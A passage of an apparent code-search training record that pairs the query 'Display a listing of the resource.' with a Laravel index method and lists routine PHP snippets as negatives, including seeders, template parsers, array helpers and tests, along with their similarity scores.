. \" $kataTarget => $POS <br/>\");\n }\n else\n {\n //Pembantu::cetakDebug(\"Kata termasuk dalam stopwords :: $kataTarget <br/>\");\n }\n }\n//echo \"<br/><br/>\";\n return $arrayHasil;\n }", "public function testPushSubscriptAndRead() \n {\n $className = $this->getBufferClass();\n $buffer = new $className();\n\n $data = $this->getTestData();\n foreach($data as $v) {\n $buffer[] = $v;\n }\n\n for($i=0; $i<count($data); $i++) {\n $this->assertEqualBufferValue($data[$i], $buffer[$i]);\n }\n }", "function htmlspecialchars_array($data){\r\n\tif ( is_array($data) ){\r\n\t\tforeach ( $data as $k => $v ){\r\n\t\t\t$data[$k] = ( is_array($v) ) ? htmlspecialchars_array($v) : htmlspecialchars($v);\r\n\t\t}\r\n\t}\r\n\treturn $data;\r\n}", "abstract function extract(): array;", "abstract protected function processMultiLineArray($phpcsFile, $stackPtr, $arrayStart, $arrayEnd, $indices);", "abstract protected function processSingleLineArray($phpcsFile, $stackPtr, $arrayStart, $arrayEnd, $indices);", "private function processTags()\n {\n $dollarNotationPattern = \"~\" . REGEX_DOLLAR_NOTATION . \"~i\";\n $simpleTagPattern = \"~\" . REGEX_SIMPLE_TAG_PATTERN . \"~i\";\n $bodyTagPattern = \"~\" . REGEX_BODY_TAG_PATTERN . \"~is\";\n \n $tags = array();\n preg_match_all($this->REGEX_COMBINED, $this->view, $tags, PREG_SET_ORDER);\n \n foreach($tags as $tag)\n { \n $result = \"\";\n \n $tag = $tag[0];\n \n if (strlen($tag) == 0) continue;\n \n if (preg_match($simpleTagPattern, $tag) || preg_match($bodyTagPattern, $tag))\n {\n $this->handleTag($tag);\n }\n else if (preg_match($dollarNotationPattern, $tag))\n {\n $this->logger->log(Logger::LOG_LEVEL_DEBUG, 'View: processTags', \"Found ExpLang [$tag]\");\n $result = $this->EL_Engine->parse($tag);\n }\n \n if (isset ($result))\n {\n $this->update($tag, $result);\n }\n }\n }", "function label($array){\n //\n //Get the fields \n $fields= $this->fields->get_array();\n //\n //Ouptut a table\n echo \"<div name='{$this->entity->name}'>\";\n echo $this->header();\n //\n //Loop through the array and display the results in a table \n foreach ($array as $row) {\n //\n //Step through the columns\n foreach($fields as $field){\n //\n //Get the indexes of the field\n $name= is_null($field->alias) ? $field->column->name:$field->alias;\n //\n //Get the field value\n $value = $row[$name];\n \n echo \"<span> $name :<span>$value></span>\"; \n }\n }\n echo \"</div>\"; \n }", "public function arrayTo($array){\n\t\t$this->updateFile($array);\n\t}", "function SEEDStd_ArrayExpand( $ra, $sTemplate, $bEnt = true )\r\n/************************************************************\r\n */\r\n{\r\n foreach( $ra as $k => $v ) {\r\n $sTemplate = str_replace( \"[[$k]]\", ($bEnt ? SEEDStd_HSC($v) : $v), $sTemplate );\r\n }\r\n// recursive expansions are not implemented\r\n return( $sTemplate );\r\n\r\n/*\r\n// isn't this the same thing as str_replace( \"[[$k]]\", ($bEnt ? ...), $sTemplate )\r\n\r\n\tforeach( $ra as $k => $v ) {\r\n\t\t// Also remember to repeat the whole process until no matches found, to allow recursive expansions\r\n\t\twhile( ($s1 = strpos( $sTemplate, \"[[$k]]\")) !== false ) {\r\n\t\t\t$sTemplate = substr( $sTemplate, 0, $s1 )\r\n\t\t\t.($bEnt ? htmlspecialchars($v,ENT_QUOTES) : $v)\r\n\t\t\t.substr( $sTemplate, $s1+strlen($k)+4 );\r\n\t\t}\r\n\t}\r\n*/\r\n\r\n\t/* Did not work for HTML templates that contained processing instructions with ]]\r\n\tfor(;;) {\r\n $s1 = strpos( $sTemplate, \"[[\" );\r\n $s2 = strpos( $sTemplate, \"]]\" );\r\n if( $s1 === false || $s2 === false ) break;\r\n $k = substr( $sTemplate, $s1 + 2, $s2 - $s1 - 2 );\r\n if( empty($k) ) break;\r\n\r\n $sTemplate = substr( $sTemplate, 0, $s1 )\r\n .($bEnt ? SEEDStd_HSC(@$ra[$k]) : @$ra[$k])\r\n .substr( $sTemplate, $s2+2 );\r\n\t}\r\n\t*/\r\n\r\n\treturn( $sTemplate );\r\n}", "private function unCdata($array) {\n //$return = array();\n foreach ($array as $key => $value) {\n if (is_array($value) && isset($value['@cdata'])) {\n $array[$key] = $value['@cdata'];\n }\n elseif(is_array($value)) {\n $array[$key] = $this->unCdata($value);\n }\n }\n return $array;\n }", "private function extract_array($array)\n\t{\n\t\t// but extracts to member variables, and performs removal of DB escaped\n\t\t// characters \n\t\tforeach($array as $key => $value)\n\t\t{\n\t\t\t$this->$key = IOSystem::DBUnencode($value);\n\t\t}\n\t}", "public function run()\n {\n $data = [\n\n ['code' => '0', 'lang' => 'rus', 'name' => 'Спортивное снаряжение не требуется'],\n ['code' => '0', 'lang' => 'eng', 'name' => 'The sport equipment is not necessary'],\n ['code' => '0', 'lang' => 'deu', 'name' => 'Keine Sportausrüstung ist erforderlich'],\n ['code' => '0', 'lang' => 'spa', 'name' => 'El equipamiento deportivo no es necesario'],\n ['code' => '0', 'lang' => 'por', 'name' => 'O equipamento esportivo não é necessário'],\n ['code' => '1', 'lang' => 'rus', 'name' => 'стандартные тренажеры'],\n ['code' => '1', 'lang' => 'eng', 'name' => 'Standard Exercise Machines'],\n ['code' => '1', 'lang' => 'deu', 'name' => 'Standardgeräte'],\n ['code' => '1', 'lang' => 'spa', 'name' => 'máquinas de ejercicio estándar'],\n ['code' => '1', 'lang' => 'por', 'name' => 'máquinas de exercício padrão'],\n ['code' => '2', 'lang' => 'rus', 'name' => 'гантели'],\n ['code' => '2', 'lang' => 'eng', 'name' => 'Dumbbells'],\n ['code' => '2', 'lang' => 'deu', 'name' => 'die Kurzhanteln'],\n ['code' => '2', 'lang' => 'spa', 'name' => 'mancuernas'],\n ['code' => '2', 'lang' => 'por', 'name' => 'halteres'],\n ['code' => '3', 'lang' => 'rus', 'name' => 'штанга'],\n ['code' => '3', 'lang' => 'eng', 'name' => 'Barbell'],\n ['code' => '3', 'lang' => 'deu', 'name' => 'die Langhantel'],\n ['code' => '3', 'lang' => 'spa', 'name' => 'barra'],\n ['code' => '3', 'lang' => 'por', 'name' => 'barra'],\n ['code' => '4', 'lang' => 'rus', 'name' => 'турник'],\n ['code' => '4', 'lang' => 'eng', 'name' => 'Horizontal Bar'],\n ['code' => '4', 'lang' => 'deu', 'name' => 'das Reck'],\n ['code' => '4', 'lang' => 'spa', 'name' => 'barra horizontal'],\n ['code' => '4', 'lang' => 'por', 'name' => 'barra horizontal'],\n ['code' => '5', 'lang' => 'rus', 'name' => 'брусья'],\n ['code' => '5', 'lang' => 'eng', 'name' => 'Parallel Bars'],\n ['code' => '5', 'lang' => 'deu', 'name' => 'der Barren'],\n ['code' => '5', 'lang' => 'spa', 'name' => 'barra paralela'],\n ['code' => '5', 'lang' => 'por', 'name' => 'barras paralelas'],\n ['code' => '6', 'lang' => 'rus', 'name' => 'фитбол'],\n ['code' => '6', 'lang' => 'eng', 'name' => 'Fitball'],\n ['code' => '6', 'lang' => 'deu', 'name' => 'Gymnastikball'],\n ['code' => '6', 'lang' => 'spa', 'name' => 'fitball'],\n ['code' => '6', 'lang' => 'por', 'name' => 'bola de pilates'],\n ['code' => '7', 'lang' => 'rus', 'name' => 'скакалка (скакалку можно заменить на кардиотренажер, приседания или бег на месте)'],\n ['code' => '7', 'lang' => 'eng', 'name' => 'Skipping Rope (a cardio machine, squats or stationary running can be used instead of a skipping rope)'],\n ['code' => '7', 'lang' => 'deu', 'name' => 'das Seil (das Seil kann durch Cardio-Gerät, Kniebeugen oder Laufen auf der Stelle ersetzt werden)'],\n ['code' => '7', 'lang' => 'spa', 'name' => 'comba (el salto a la cuerda se puede sustituir por la máquina de cardio, por sentadillas o trotar en el lugar)'],\n ['code' => '7', 'lang' => 'por', 'name' => 'corda (pode substituir a corda por aparelho de treinamento cardio, flexões ou corrida na esteira)'],\n ['code' => '8', 'lang' => 'rus', 'name' => 'TRX'],\n ['code' => '8', 'lang' => 'eng', 'name' => 'TRX'],\n ['code' => '8', 'lang' => 'deu', 'name' => 'TRX'],\n ['code' => '8', 'lang' => 'spa', 'name' => 'TRX'],\n ['code' => '8', 'lang' => 'por', 'name' => 'TRX'],\n\n ];\n DB::table('sport_equipment')->insert($data);\n }", "function printr($arg,$ns){\r\n\t$re = print_r($arg,true);\r\n\t//echo $re;\r\n\t//print_r(get_object_vars(new Aaa()));\r\n\t$rearray = explode(\"\\n\",$re);\r\n\t$trs=array();\r\n\t$stack=array();\r\n\t$plus=\"+\";\r\n\tforeach($rearray as $x=>$r){\r\n\t\t$tr = new GaiaPreTR($ns);\r\n\t\t$tr->str=$r;\r\n\t\t$tr->lineNum=$x;\r\n\t\tif (strpos($r,\"Object\")===strlen($r)-6||strpos($r,\"Array\")===strlen($r)-5){\r\n\t\t\t$tr->stLineNum=$x;\r\n\t\t\tarray_push($stack,$tr);\r\n\t\t}\r\n\t\telseif (trim($r)===\")\"){\r\n\t\t\t$temp = array_pop($stack);\r\n\t\t\t$temp->edLineNum=$x;\r\n\t\t}\r\n\t\tarray_push($trs,$tr);\r\n\t}\r\n\tforeach($trs as $tr){\r\n\t\techo $tr->createTr();\r\n\t}\r\n}", "public function getTypoScriptSetup() {}", "public function getTypoScriptSetup() {}", "public function convertArray(array $list){\n $o = $this->getHeader();\n if (count($list) > 0){\n foreach($list as $key => $value){\n \t$o .= \"<entry>\\n\";\n \t$o .= \"\\t<form>\\n\";\n\t$o .= \"\\t\\t<orth>\\n\";\n\t$infinitive = $value['infinitive'][0];\n\t$o .= \"\\t\\t\\t$infinitive\\n\";\n\t$o .= \"\\t\\t</orth>\\n\";\n\t$o .= \"\\t\\t<model>\\n\";\n\t$model = $value['model'];\n\t$o .= \"\\t\\t\\t$model\\n\";\n\t$o .= \"\\t\\t</model>\\n\";\n $o .= $this->convertConjugation($value);\n\t$o .= \"\\t</form>\\n\";\n \t$o .= \"</entry>\\n\";\n } // for\n } // if\n\n $o .= $this->getFooter();\n $this->createDownloadFile($o);\t \n }", "private function _buildArray($variables)\n {\n $i = 0;\n $j = 0;\n foreach ($variables as $key => $section) {\n foreach ($section as $value) {\n // avoid first and last values, and tag elements\n if ($i == 0 || $i == count($variables[$key])\n || $value[0] == '<') {\n $i++;\n continue;\n } else {\n $variableParts = $this->cleanExplode(\"_\", $value);\n switch ($variableParts[0]) {\n case 'BLOCK':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['TYPE'] =\n $variableGroup[1];\n }\n break;\n\n case 'GROUP':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['GROUPID'] =\n $variableGroup[1];\n }\n if (!empty ($variableGroup[2])) {\n //The group is nested inside other group\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableGroup[2];\n }\n break;\n\n case 'TAB':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['TYPE'] =\n $variableGroup[1];\n }\n break;\n\n case 'HEADING':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n break;\n\n case 'COMMENT':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableGroup[1];\n } elseif (!empty ($variableParts[2])) {\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableParts[2];\n }\n break;\n\n case 'TEXT':\n case 'TEXTAREA':\n case 'SELECT':\n case 'DATE':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableGroup[1];\n }\n break;\n\n default:\n break;\n }\n $j++;\n }\n $i++;\n }\n }\n\n }", "protected function compile() {\n if (TL_MODE == 'BE') {\n $this->genBeOutput();\n } else {\n $this->genFeOutput();\n }\n }", "public function run()\n {\n $list=[];\n $types1=[\"CNTT - Viễn thông\",\"Thiết bị - Phần cứng\"];\n sort($types1);\n for($i=1;$i<=count($types1);$i++){\n array_push($list,[\n 'cd_ma'=>$i,\n 'cd_ten'=> $types1[$i-1],\n 'lv_ma'=>'1'\n ]); \n }\n \n $types=[\"Học bổng - Du học\",\"Đào tạo - Thi cử\"];\n sort($types);\n for($i=1,$j=3;$i<=count($types);$i++,$j++){\n array_push($list,[\n 'cd_ma'=>$j,\n 'cd_ten'=> $types[$i-1],\n 'lv_ma'=>'2'\n ]); \n }\n\n \n\n $types2=[\"Âm nhạc\",\"Thời trang\", \"Điện ảnh - Truyền hình\"];\n sort($types2);\n for($i=1,$j=5;$i<=count($types2);$i++,$j++){\n array_push($list,[\n 'cd_ma'=>$j,\n 'cd_ten'=> $types2[$i-1],\n 'lv_ma'=>'3'\n ]); \n }\n\n $types4=[\"Lao động - Việc làm\",\"Tài chính\", \"Chứng khoán\"];\n sort($types4);\n for($i=1,$j=8;$i<=count($types4);$i++,$j++){\n array_push($list,[\n 'cd_ma'=>$j,\n 'cd_ten'=> $types4[$i-1],\n 'lv_ma'=>'4'\n ]); \n }\n\n $types6=[\"Hình sự - Dân sự\",\"An ninh - Trật tự\"];\n sort($types6);\n for($i=1,$j=11;$i<=count($types6);$i++,$j++){\n array_push($list,[\n 'cd_ma'=>$j,\n 'cd_ten'=> $types6[$i-1],\n 'lv_ma'=>'5'\n ]); \n }\n\n $types5=[\"Bóng đá quốc tế\",\"Bóng đá Việt Nam\"];\n sort($types5);\n for($i=1,$j=13;$i<=count($types5);$i++,$j++){\n array_push($list,[\n 'cd_ma'=>$j,\n 'cd_ten'=> $types5[$i-1],\n 'lv_ma'=>'6'\n ]); \n }\n\n $types3=[\"Nghệ thuật\",\"Ẩm thực\", \"Du lịch\"];\n sort($types3);\n for($i=1,$j=15;$i<=count($types3);$i++,$j++){\n array_push($list,[\n 'cd_ma'=>$j,\n 'cd_ten'=> $types3[$i-1],\n 'lv_ma'=>'7'\n ]); \n } \n\n DB::table('chude')->insert($list);\n }", "public function testTransformParameterArrayToStatementArray()\n {\n // add test data\n $this->importTurtle('\n @prefix form: <http://form/> .\n @prefix kno: <'. $this->commonNamespaces->getUri('kno') .'> .\n @prefix rdfs: <'. $this->commonNamespaces->getUri('rdfs') .'> .\n\n form:type1 ;\n kno:has-property form:t1-p1 ;\n kno:has-property form:t1-p2 ;\n kno:has-property form:t1-p3 .\n\n form:t1-p1\n rdfs:label \"Root-Prop-1 DE\"@de ;\n rdfs:label \"Root-Prop-1 EN\"@en .\n\n form:t1-p2\n kno:restriction-reference-is-of-type form:type2 .\n\n form:type2\n kno:has-property form:t2-p1 ;\n kno:has-property form:t2-p2 .\n\n form:t2-p1\n rdfs:label \"Type2-Prop-1\"@en .\n ',\n $this->testGraph,\n $this->store\n );\n\n $this->commonNamespaces->add('form', 'http://form/');\n\n /*\n * set parameters for function to test\n */\n $typeUri = 'form:type1';\n $formInput = array(\n '__type' => $typeUri,\n '__idUri' => 'http://type1/',\n 'form:t1-p1' => 't1-p1-value',\n // sub entry 1\n 'form:t1-p2__uriSchema' => '%root-uri%?form:t2-p1?',\n 'form:t1-p2__type' => 'form:type2',\n 'form:type1__form:t1-p2__form:type2____idUri__0' => 'http://type1/sub-value1',\n 'form:type1__form:t1-p2__form:type2__form:t2-p1__0' => 'sub-value1',\n 'form:type1__form:t1-p2__form:type2__form:t2-p2__0' => 'sub-value2',\n // sub entry 2 (not yet \"created\", therefore needs an URI)\n 'form:type1__form:t1-p2__form:type2__form:t2-p1__1' => 'sub-value3',\n 'form:type1__form:t1-p2__form:type2__form:t2-p2__1' => 'sub-value4',\n 'form:type1__form:t1-p2__number' => '2',\n\n 'form:t1-p3' => 't1-p3-value',\n );\n\n $res = $this->fixture->transformParameterArrayToStatementArray($formInput);\n\n $this->assertEquals(\n array(\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/'),\n $this->nodeFactory->createNamedNode($this->commonNamespaces->getUri('rdf')),\n $this->nodeFactory->createNamedNode($this->commonNamespaces->extendUri($typeUri))\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/'),\n $this->nodeFactory->createNamedNode('http://form/t1-p1'),\n $this->nodeFactory->createLiteral('t1-p1-value')\n ),\n // root element ===> sub element 1\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/'),\n $this->nodeFactory->createNamedNode('http://form/t1-p2'),\n $this->nodeFactory->createNamedNode('http://type1/sub-value1')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/sub-value1'),\n $this->nodeFactory->createNamedNode('http://www.w3.org/1999/02/22-rdf-syntax-ns#type'),\n $this->nodeFactory->createNamedNode('http://form/type2')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/sub-value1'),\n $this->nodeFactory->createNamedNode('http://form/t2-p1'),\n $this->nodeFactory->createLiteral('sub-value1')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/sub-value1'),\n $this->nodeFactory->createNamedNode('http://form/t2-p2'),\n $this->nodeFactory->createLiteral('sub-value2')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/'),\n $this->nodeFactory->createNamedNode('http://form/t1-p2'),\n $this->nodeFactory->createNamedNode('http://type1/sub_value3')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/sub_value3'),\n $this->nodeFactory->createNamedNode('http://www.w3.org/1999/02/22-rdf-syntax-ns#type'),\n $this->nodeFactory->createNamedNode('http://form/type2')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/sub_value3'),\n $this->nodeFactory->createNamedNode('http://form/t2-p1'),\n $this->nodeFactory->createLiteral('sub-value3')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/sub_value3'),\n $this->nodeFactory->createNamedNode('http://form/t2-p2'),\n $this->nodeFactory->createLiteral('sub-value4')\n ),\n $this->statementFactory->createStatement(\n $this->nodeFactory->createNamedNode('http://type1/'),\n $this->nodeFactory->createNamedNode('http://form/t1-p3'),\n $this->nodeFactory->createLiteral('t1-p3-value')\n )\n ),\n $res\n );\n }", "function parseInput($conn, $name, $selector, $table, $dataArray, $type, $isOutput, $value_type){\n $inputArray = $dataArray;\n $input_id=getInputId($conn,$name, $type, $isOutput, $value_type);\n $i=0; \n foreach($table->find(\"$selector\") as $element){\n \n $inputArray[$i]->value = floatval($element->plaintext);\n $inputArray[$i]->input_id= $input_id;\n $i++;\n \n } \n \n foreach ($inputArray as $row) {\n \n if($conn->query($row->insertQuery())){\n $row->insertMessage($name);\n }\n \n }\n \n}" ]
[ "0.7184449", "0.69898313", "0.6855142", "0.61161935", "0.5912508", "0.55427426", "0.5476128", "0.5442676", "0.5374367", "0.5347679", "0.53072786", "0.5286137", "0.527078", "0.52529246", "0.52392787", "0.5229137", "0.5207897", "0.51825726", "0.51793057", "0.517096", "0.516759", "0.51649237", "0.514975", "0.51492006", "0.5140134", "0.5132247", "0.51230305", "0.5119368", "0.51175517", "0.5110417", "0.50924367", "0.5064821", "0.50646704", "0.504699", "0.50393593", "0.5028358", "0.5025213", "0.50230485", "0.5004663", "0.5000602", "0.4988176", "0.4986632", "0.49770993", "0.4944331", "0.49404198", "0.49283665", "0.49268606", "0.48997572", "0.48984393", "0.48871213", "0.4884168", "0.48840755", "0.4878332", "0.4876529", "0.4876256", "0.4873115", "0.4872988", "0.48666492", "0.4862329", "0.48552933", "0.4854782", "0.48531336", "0.48518187", "0.48510525", "0.48418635", "0.4836893", "0.48267344", "0.48225987", "0.48189396", "0.48146528", "0.48033708", "0.48001394", "0.47982204", "0.47862136", "0.47844583", "0.47817266", "0.4779869", "0.47668415", "0.47620583", "0.47557113", "0.4754329", "0.47477776", "0.47476903", "0.47463724", "0.4738112", "0.47377667", "0.47277993", "0.47258714", "0.47201085", "0.47135952", "0.471162", "0.47088012", "0.46920106", "0.46846867", "0.46846867", "0.46804535", "0.46775123", "0.4675617", "0.46687782", "0.46671274", "0.46655455" ]
0.0
-1
Display a listing of the resource.
public function index(Request $request) { $limit = $request->limit; if ($limit) { $cities = $this->guiderRepository->paginate($limit); } else { $cities = $this->guiderRepository->all(); } return response()->json([ 'success' => true, 'data' => $cities ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return 